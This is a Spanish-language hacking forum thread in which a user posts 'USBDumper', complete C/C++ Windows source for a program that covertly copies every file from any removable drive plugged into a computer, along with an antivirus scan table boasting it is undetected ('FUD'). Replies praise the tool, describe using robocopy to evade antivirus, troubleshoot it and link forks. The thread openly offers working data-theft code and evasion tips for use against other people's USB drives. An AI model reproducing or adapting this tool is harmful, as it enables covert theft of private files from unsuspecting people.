USBDumper [Roba todos los archivos de USB Ajenos]

Iniciado por xxneeco83xx, Agosto 29, 2015, 07:55:20 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 29, 2015, 07:55:20 PM Ultima modificación: Abril 03, 2016, 11:48:03 PM por Gabriela



Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.




CitarCodigo del Ejecutable! [C/C++]
Código: cpp

#include <windows.h>
#include <shlwapi.h>

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{

WIN32_FIND_DATA find;
HANDLE Search;

char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );

Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{

FindClose ( Search );

return false;
}

while ( FindNextFileA ( Search, & find ) )
{

char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );

lstrcatA ( CopyDirectory, find.cFileName );

if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );

ListDirectory ( CopyDirectory );
}

CopyFiles ( CopyDirectory, find.dwFileAttributes );

}

FindClose ( Search );

return true;
}

bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{

LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;

if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}

Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );

if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{

for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}

if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );

dirent = false;
break;
}
}

Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );

CreateDirectoryA ( Temp, 0L );

GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );

return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}

if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{

SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}

PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );

//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );

CopyFileA ( lpszDirectory, PathComplete, false );

GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );

return true;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );

LPSTR Drive = Drivers;

while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}

Drive += lstrlenA ( Drive ) + 1;
}

GlobalFree ( Drivers );

return EXIT_SUCCESS;
}



ANALISIS FUD

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

SIN-PASS
El arte de crear malware, es algo que solo pocos entienden!




Yo había hecho uno hace tiempo llamado RoboUSB programado en visual Basic Net. Lo cual hacia de detectar el usb y por medio de robocopy copiaba todo el contenido de la usb. Y si preguntan porque robocopy? ::) Pues el antivirus no detectara algo que ya viene con Windows  ;D ;D

Lo probé con mi computadora. Pase el USBDumper a la pc y lo descomprí. Después introduje una memoria usb y ejecute el programa y solamente se copiaron a mi computadora los archivos que no estaban en la memoria usb dentro de una carpeta, los demas archivos no se copiaron ni las carpetas de la memoria usb que contenian información dentro. Lo probé en windows 7.

Gracias!
... De las piedras y el aire no proviene el concepto de lo que es bueno y lo que es malo, de la no vida no puede surgir vida.

Son ustedes unos autenticos artistas, muchas gracias por sus enseñanzas

Para que sirve ese codigo que dejaste? Estoy apenas aprendiendo programacion, que hago con ese codigo, muchas gracias buen aporte

Roba datos de un USB que conectes a la pc

Saludos,
ANTRAX


Pero en que carpeta que guarda  no hay direccion

Junio 28, 2020, 03:10:47 PM #9 Ultima modificación: Junio 28, 2020, 03:25:22 PM por DtxdF
@No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Podrías probar:

UsbDumper: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
UsbDumper (fork para Gnu/Linux y Windows): No tienes permitido ver enlaces. Registrate o Entra a tu cuenta!

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Junio 28, 2020, 03:45:59 PM #10 Ultima modificación: Abril 18, 2022, 08:57:04 PM por DtxdF
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
@No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Podrías probar:

UsbDumper: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
UsbDumper (fork para Gnu/Linux y Windows): No tienes permitido ver enlaces. Registrate o Entra a tu cuenta!

~ DtxdF

*******  Si he  ya he probado en windows    el problema es este FUNCIONA  pero no copia **************
C:\Users\Usuario\Desktop\xd\UsbDumper-master>UsbDumper.exe C:\Users\Usuario\Desktop\d
sale esto:
[!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Esperando pendrive.
  [!!] Pendrive encontrado.
luego esto :
C:\Users\Usuario\Desktop\xd\UsbDumper-master>
ES DECIR NO ME SALE LA TRANFERENCIA DE ARCHIVOS  no copia,  pero a simple vista todo bien pero cuando voy a la carpeta donde se supone que estan los archivo copiados no hay nada :
Nota : en el codigo  claro solo detecta USB con la Unidad E:  por eso mi primer Usb es D:  Tenia que ingresar otro Usb  E:/ y lo detecto pero no logra copiar , alguien sale el por que ? o tendria que modificar el codigo.

mi antivirus no lo detecta  , que sad! jajaaja . muy buena

 :o :o :o :o
es una maravilla que no fue detectado por ningun antivirus
:-X

orales, buena la herramienta, cada día aprende uno cosas nuevas.

@Harrysnoop

Citaro tendria que modificar el codigo.

Sí, como indica en el README, tienes que modificar el config.h para indicar las unidades o carpetas.

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF